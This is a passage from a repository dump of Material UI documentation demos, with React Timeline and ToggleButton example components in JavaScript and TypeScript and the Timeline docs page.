    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\nimport TimelineOppositeContent, {\n  timelineOppositeContentClasses,\n} from '@mui/lab/TimelineOppositeContent';\n\nexport default function LeftAlignedTimeline() {\n  return (\n    <Timeline\n      sx={{\n        [`& .${timelineOppositeContentClasses.root}`]: {\n          flex: 0.2,\n        },\n      }}\n    >\n      <TimelineItem>\n        <TimelineOppositeContent color=\"textSecondary\">\n          09:30 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineOppositeContent color=\"textSecondary\">\n          10:00 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineDot />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/LeftAlignedTimeline.tsx",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\nimport TimelineOppositeContent, {\n  timelineOppositeContentClasses,\n} from '@mui/lab/TimelineOppositeContent';\n\nexport default function LeftAlignedTimeline() {\n  return (\n    <Timeline\n      sx={{\n        [`& .${timelineOppositeContentClasses.root}`]: {\n          flex: 0.2,\n        },\n      }}\n    >\n      <TimelineItem>\n        <TimelineOppositeContent color=\"textSecondary\">\n          09:30 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineOppositeContent color=\"textSecondary\">\n          10:00 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineDot />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/LeftPositionedTimeline.js",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\n\nexport default function LeftPositionedTimeline() {\n  return (\n    <Timeline position=\"left\">\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Sleep</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n        </TimelineSeparator>\n        <TimelineContent>Repeat</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/LeftPositionedTimeline.tsx",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\n\nexport default function LeftPositionedTimeline() {\n  return (\n    <Timeline position=\"left\">\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Sleep</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n        </TimelineSeparator>\n        <TimelineContent>Repeat</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/NoOppositeContent.js",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem, { timelineItemClasses } from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\n\nexport default function NoOppositeContent() {\n  return (\n    <Timeline\n      sx={{\n        [`& .${timelineItemClasses.root}:before`]: {\n          flex: 0,\n          padding: 0,\n        },\n      }}\n    >\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/NoOppositeContent.tsx",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem, { timelineItemClasses } from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\n\nexport default function NoOppositeContent() {\n  return (\n    <Timeline\n      sx={{\n        [`& .${timelineItemClasses.root}:before`]: {\n          flex: 0,\n          padding: 0,\n        },\n      }}\n    >\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/OppositeContentTimeline.js",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\nimport TimelineOppositeContent from '@mui/lab/TimelineOppositeContent';\n\nexport default function OppositeContentTimeline() {\n  return (\n    <Timeline position=\"alternate\">\n      <TimelineItem>\n        <TimelineOppositeContent\n          sx={{\n            color: 'text.secondary',\n          }}\n        >\n          09:30 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineOppositeContent\n          sx={{\n            color: 'text.secondary',\n          }}\n        >\n          10:00 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineOppositeContent\n          sx={{\n            color: 'text.secondary',\n          }}\n        >\n          12:00 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Sleep</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineOppositeContent\n          sx={{\n            color: 'text.secondary',\n          }}\n        >\n          9:00 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Repeat</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/OppositeContentTimeline.tsx",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\nimport TimelineOppositeContent from '@mui/lab/TimelineOppositeContent';\n\nexport default function OppositeContentTimeline() {\n  return (\n    <Timeline position=\"alternate\">\n      <TimelineItem>\n        <TimelineOppositeContent\n          sx={{\n            color: 'text.secondary',\n          }}\n        >\n          09:30 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineOppositeContent\n          sx={{\n            color: 'text.secondary',\n          }}\n        >\n          10:00 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineOppositeContent\n          sx={{\n            color: 'text.secondary',\n          }}\n        >\n          12:00 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Sleep</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineOppositeContent\n          sx={{\n            color: 'text.secondary',\n          }}\n        >\n          9:00 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Repeat</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/OutlinedTimeline.js",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\n\nexport default function OutlinedTimeline() {\n  return (\n    <Timeline position=\"alternate\">\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot variant=\"outlined\" />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot variant=\"outlined\" color=\"primary\" />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot variant=\"outlined\" color=\"secondary\" />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Sleep</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot variant=\"outlined\" />\n        </TimelineSeparator>\n        <TimelineContent>Repeat</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/OutlinedTimeline.tsx",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\n\nexport default function OutlinedTimeline() {\n  return (\n    <Timeline position=\"alternate\">\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot variant=\"outlined\" />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot variant=\"outlined\" color=\"primary\" />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot variant=\"outlined\" color=\"secondary\" />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Sleep</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot variant=\"outlined\" />\n        </TimelineSeparator>\n        <TimelineContent>Repeat</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/RightAlignedTimeline.js",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent, { timelineContentClasses } from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\nimport TimelineOppositeContent from '@mui/lab/TimelineOppositeContent';\n\nexport default function RightAlignedTimeline() {\n  return (\n    <Timeline\n      sx={{\n        [`& .${timelineContentClasses.root}`]: {\n          flex: 0.2,\n        },\n      }}\n    >\n      <TimelineItem>\n        <TimelineOppositeContent color=\"textSecondary\">\n          09:30 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineOppositeContent color=\"textSecondary\">\n          10:00 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineDot />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/RightAlignedTimeline.tsx",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent, { timelineContentClasses } from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\nimport TimelineOppositeContent from '@mui/lab/TimelineOppositeContent';\n\nexport default function RightAlignedTimeline() {\n  return (\n    <Timeline\n      sx={{\n        [`& .${timelineContentClasses.root}`]: {\n          flex: 0.2,\n        },\n      }}\n    >\n      <TimelineItem>\n        <TimelineOppositeContent color=\"textSecondary\">\n          09:30 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineOppositeContent color=\"textSecondary\">\n          10:00 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineDot />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/timeline.md",
    "content": "---\nproductId: material-ui\ntitle: React Timeline component\ncomponents: Timeline, TimelineItem, TimelineSeparator, TimelineDot, TimelineConnector, TimelineContent, TimelineOppositeContent\ngithubLabel: 'scope: timeline'\npackageName: '@mui/lab'\n---\n\n# Timeline\n\n<p class=\"description\">The timeline displays a list of events in chronological order.</p>\n\n:::info\nThis component is not documented in the [Material Design guidelines](https://m2.material.io/), but it is available in Material UI.\n:::\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic timeline\n\nA basic timeline showing list of events.\n\n{{\"demo\": \"BasicTimeline.js\"}}\n\n## Left-positioned timeline\n\nThe main content of the timeline can be positioned on the left side relative to the time axis.\n\n{{\"demo\": \"LeftPositionedTimeline.js\"}}\n\n## Alternating timeline\n\nThe timeline can display the events on alternating sides.\n\n{{\"demo\": \"AlternateTimeline.js\"}}\n\n## Reverse Alternating timeline\n\nThe timeline can display the events on alternating sides in reverse order.\n\n{{\"demo\": \"AlternateReverseTimeline.js\"}}\n\n## Color\n\nThe `TimelineDot` can appear in different colors from theme palette.\n\n{{\"demo\": \"ColorsTimeline.js\"}}\n\n## Outlined\n\n{{\"demo\": \"OutlinedTimeline.js\"}}\n\n## Opposite content\n\nThe timeline can display content on opposite sides.\n\n{{\"demo\": \"OppositeContentTimeline.js\"}}\n\n## Customization\n\nHere is an example of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedTimeline.js\"}}\n\n## Alignment\n\nThere are different ways in which a Timeline can be placed within the container.\n\nYou can do it by overriding the styles.\n\nA Timeline centers itself in the container by default.\n\nThe demos below show how to adjust the relative width of the left and right sides of a Timeline:\n\n### Left-aligned\n\n{{\"demo\": \"LeftAlignedTimeline.js\"}}\n\n### Right-aligned\n\n{{\"demo\": \"RightAlignedTimeline.js\"}}\n\n### Left-aligned with no opposite content\n\n{{\"demo\": \"NoOppositeContent.js\"}}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/ColorToggleButton.js",
    "content": "import * as React from 'react';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\n\nexport default function ColorToggleButton() {\n  const [alignment, setAlignment] = React.useState('web');\n\n  const handleChange = (event, newAlignment) => {\n    setAlignment(newAlignment);\n  };\n\n  return (\n    <ToggleButtonGroup\n      color=\"primary\"\n      value={alignment}\n      exclusive\n      onChange={handleChange}\n      aria-label=\"Platform\"\n    >\n      <ToggleButton value=\"web\">Web</ToggleButton>\n      <ToggleButton value=\"android\">Android</ToggleButton>\n      <ToggleButton value=\"ios\">iOS</ToggleButton>\n    </ToggleButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/ColorToggleButton.tsx",
    "content": "import * as React from 'react';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\n\nexport default function ColorToggleButton() {\n  const [alignment, setAlignment] = React.useState('web');\n\n  const handleChange = (\n    event: React.MouseEvent<HTMLElement>,\n    newAlignment: string,\n  ) => {\n    setAlignment(newAlignment);\n  };\n\n  return (\n    <ToggleButtonGroup\n      color=\"primary\"\n      value={alignment}\n      exclusive\n      onChange={handleChange}\n      aria-label=\"Platform\"\n    >\n      <ToggleButton value=\"web\">Web</ToggleButton>\n      <ToggleButton value=\"android\">Android</ToggleButton>\n      <ToggleButton value=\"ios\">iOS</ToggleButton>\n    </ToggleButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/ColorToggleButton.tsx.preview",
    "content": "<ToggleButtonGroup\n  color=\"primary\"\n  value={alignment}\n  exclusive\n  onChange={handleChange}\n  aria-label=\"Platform\"\n>\n  <ToggleButton value=\"web\">Web</ToggleButton>\n  <ToggleButton value=\"android\">Android</ToggleButton>\n  <ToggleButton value=\"ios\">iOS</ToggleButton>\n</ToggleButtonGroup>"
  },
  {
    "path": "docs/data/material/components/toggle-button/CustomizedDividers.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport FormatAlignJustifyIcon from '@mui/icons-material/FormatAlignJustify';\nimport FormatBoldIcon from '@mui/icons-material/FormatBold';\nimport FormatItalicIcon from '@mui/icons-material/FormatItalic';\nimport FormatUnderlinedIcon from '@mui/icons-material/FormatUnderlined';\nimport FormatColorFillIcon from '@mui/icons-material/FormatColorFill';\nimport ArrowDropDownIcon from '@mui/icons-material/ArrowDropDown';\nimport Divider from '@mui/material/Divider';\nimport Paper from '@mui/material/Paper';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup, {\n  toggleButtonGroupClasses,\n} from '@mui/material/ToggleButtonGroup';\n\nconst StyledToggleButtonGroup = styled(ToggleButtonGroup)(({ theme }) => ({\n  [`& .${toggleButtonGroupClasses.grouped}`]: {\n    margin: theme.spacing(0.5),\n    border: 0,\n    borderRadius: theme.shape.borderRadius,\n    [`&.${toggleButtonGroupClasses.disabled}`]: {\n      border: 0,\n    },\n  },\n  [`& .${toggleButtonGroupClasses.middleButton},& .${toggleButtonGroupClasses.lastButton}`]:\n    {\n      marginLeft: -1,\n      borderLeft: '1px solid transparent',\n    },\n}));\n\nexport default function CustomizedDividers() {\n  const [alignment, setAlignment] = React.useState('left');\n  const [formats, setFormats] = React.useState(() => ['italic']);\n\n  const handleFormat = (event, newFormats) => {\n    setFormats(newFormats);\n  };\n\n  const handleAlignment = (event, newAlignment) => {\n    setAlignment(newAlignment);\n  };\n\n  return (\n    <div>\n      <Paper\n        elevation={0}\n        sx={(theme) => ({\n          display: 'flex',\n          border: `1px solid ${theme.palette.divider}`,\n          flexWrap: 'wrap',\n        })}\n      >\n        <StyledToggleButtonGroup\n          size=\"small\"\n          value={alignment}\n          exclusive\n          onChange={handleAlignment}\n          aria-label=\"text alignment\"\n        >\n          <ToggleButton value=\"left\" aria-label=\"left aligned\">\n            <FormatAlignLeftIcon />\n          </ToggleButton>\n          <ToggleButton value=\"center\" aria-label=\"centered\">\n            <FormatAlignCenterIcon />\n          </ToggleButton>\n          <ToggleButton value=\"right\" aria-label=\"right aligned\">\n            <FormatAlignRightIcon />\n          </ToggleButton>\n          <ToggleButton value=\"justify\" aria-label=\"justified\" disabled>\n            <FormatAlignJustifyIcon />\n          </ToggleButton>\n        </StyledToggleButtonGroup>\n        <Divider flexItem orientation=\"vertical\" sx={{ mx: 0.5, my: 1 }} />\n        <StyledToggleButtonGroup\n          size=\"small\"\n          value={formats}\n          onChange={handleFormat}\n          aria-label=\"text formatting\"\n        >\n          <ToggleButton value=\"bold\" aria-label=\"bold\">\n            <FormatBoldIcon />\n          </ToggleButton>\n          <ToggleButton value=\"italic\" aria-label=\"italic\">\n            <FormatItalicIcon />\n          </ToggleButton>\n          <ToggleButton value=\"underlined\" aria-label=\"underlined\">\n            <FormatUnderlinedIcon />\n          </ToggleButton>\n          <ToggleButton value=\"color\" aria-label=\"color\" disabled>\n            <FormatColorFillIcon />\n            <ArrowDropDownIcon />\n          </ToggleButton>\n        </StyledToggleButtonGroup>\n      </Paper>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/CustomizedDividers.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport FormatAlignJustifyIcon from '@mui/icons-material/FormatAlignJustify';\nimport FormatBoldIcon from '@mui/icons-material/FormatBold';\nimport FormatItalicIcon from '@mui/icons-material/FormatItalic';\nimport FormatUnderlinedIcon from '@mui/icons-material/FormatUnderlined';\nimport FormatColorFillIcon from '@mui/icons-material/FormatColorFill';\nimport ArrowDropDownIcon from '@mui/icons-material/ArrowDropDown';\nimport Divider from '@mui/material/Divider';\nimport Paper from '@mui/material/Paper';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup, {\n  toggleButtonGroupClasses,\n} from '@mui/material/ToggleButtonGroup';\n\nconst StyledToggleButtonGroup = styled(ToggleButtonGroup)(({ theme }) => ({\n  [`& .${toggleButtonGroupClasses.grouped}`]: {\n    margin: theme.spacing(0.5),\n    border: 0,\n    borderRadius: theme.shape.borderRadius,\n    [`&.${toggleButtonGroupClasses.disabled}`]: {\n      border: 0,\n    },\n  },\n  [`& .${toggleButtonGroupClasses.middleButton},& .${toggleButtonGroupClasses.lastButton}`]:\n    {\n      marginLeft: -1,\n      borderLeft: '1px solid transparent',\n    },\n}));\n\nexport default function CustomizedDividers() {\n  const [alignment, setAlignment] = React.useState('left');\n  const [formats, setFormats] = React.useState(() => ['italic']);\n\n  const handleFormat = (\n    event: React.MouseEvent<HTMLElement>,\n    newFormats: string[],\n  ) => {\n    setFormats(newFormats);\n  };\n\n  const handleAlignment = (\n    event: React.MouseEvent<HTMLElement>,\n    newAlignment: string,\n  ) => {\n    setAlignment(newAlignment);\n  };\n\n  return (\n    <div>\n      <Paper\n        elevation={0}\n        sx={(theme) => ({\n          display: 'flex',\n          border: `1px solid ${theme.palette.divider}`,\n          flexWrap: 'wrap',\n        })}\n      >\n        <StyledToggleButtonGroup\n          size=\"small\"\n          value={alignment}\n          exclusive\n          onChange={handleAlignment}\n          aria-label=\"text alignment\"\n        >\n          <ToggleButton value=\"left\" aria-label=\"left aligned\">\n            <FormatAlignLeftIcon />\n          </ToggleButton>\n          <ToggleButton value=\"center\" aria-label=\"centered\">\n            <FormatAlignCenterIcon />\n          </ToggleButton>\n          <ToggleButton value=\"right\" aria-label=\"right aligned\">\n            <FormatAlignRightIcon />\n          </ToggleButton>\n          <ToggleButton value=\"justify\" aria-label=\"justified\" disabled>\n            <FormatAlignJustifyIcon />\n          </ToggleButton>\n        </StyledToggleButtonGroup>\n        <Divider flexItem orientation=\"vertical\" sx={{ mx: 0.5, my: 1 }} />\n        <StyledToggleButtonGroup\n          size=\"small\"\n          value={formats}\n          onChange={handleFormat}\n          aria-label=\"text formatting\"\n        >\n          <ToggleButton value=\"bold\" aria-label=\"bold\">\n            <FormatBoldIcon />\n          </ToggleButton>\n          <ToggleButton value=\"italic\" aria-label=\"italic\">\n            <FormatItalicIcon />\n          </ToggleButton>\n          <ToggleButton value=\"underlined\" aria-label=\"underlined\">\n            <FormatUnderlinedIcon />\n          </ToggleButton>\n          <ToggleButton value=\"color\" aria-label=\"color\" disabled>\n            <FormatColorFillIcon />\n            <ArrowDropDownIcon />\n          </ToggleButton>\n        </StyledToggleButtonGroup>\n      </Paper>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/HorizontalSpacingToggleButton.js",
    "content": "import * as React from 'react';\nimport FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport FormatAlignJustifyIcon from '@mui/icons-material/FormatAlignJustify';\nimport ToggleButton, { toggleButtonClasses } from '@mui/material/ToggleButton';\nimport ToggleButtonGroup, {\n  toggleButtonGroupClasses,\n} from '@mui/material/ToggleButtonGroup';\nimport { styled } from '@mui/material/styles';\n\nconst StyledToggleButtonGroup = styled(ToggleButtonGroup)(({ theme }) => ({\n  gap: '2rem',\n  [`& .${toggleButtonGroupClasses.firstButton}, & .${toggleButtonGroupClasses.middleButton}`]:\n    {\n      borderTopRightRadius: (theme.vars || theme).shape.borderRadius,\n      borderBottomRightRadius: (theme.vars || theme).shape.borderRadius,\n    },\n  [`& .${toggleButtonGroupClasses.lastButton}, & .${toggleButtonGroupClasses.middleButton}`]:\n    {\n      borderTopLeftRadius: (theme.vars || theme).shape.borderRadius,\n      borderBottomLeftRadius: (theme.vars || theme).shape.borderRadius,\n      borderLeft: `1px solid ${(theme.vars || theme).palette.divider}`,\n    },\n  [`& .${toggleButtonGroupClasses.lastButton}.${toggleButtonClasses.disabled}, & .${toggleButtonGroupClasses.middleButton}.${toggleButtonClasses.disabled}`]:\n    {\n      borderLeft: `1px solid ${(theme.vars || theme).palette.action.disabledBackground}`,\n    },\n}));\n\nexport default function HorizontalSpacingToggleButton() {\n  const [alignment, setAlignment] = React.useState('left');\n\n  const handleAlignment = (event, newAlignment) => {\n    setAlignment(newAlignment);\n  };\n\n  return (\n    <StyledToggleButtonGroup\n      value={alignment}\n      exclusive\n      onChange={handleAlignment}\n      aria-label=\"text alignment\"\n    >\n      <ToggleButton value=\"left\" aria-label=\"left aligned\">\n        <FormatAlignLeftIcon />\n      </ToggleButton>\n      <ToggleButton value=\"center\" aria-label=\"centered\">\n        <FormatAlignCenterIcon />\n      </ToggleButton>\n      <ToggleButton value=\"right\" aria-label=\"right aligned\">\n        <FormatAlignRightIcon />\n      </ToggleButton>\n      <ToggleButton value=\"justify\" aria-label=\"justified\" disabled>\n        <FormatAlignJustifyIcon />\n      </ToggleButton>\n    </StyledToggleButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/HorizontalSpacingToggleButton.tsx",
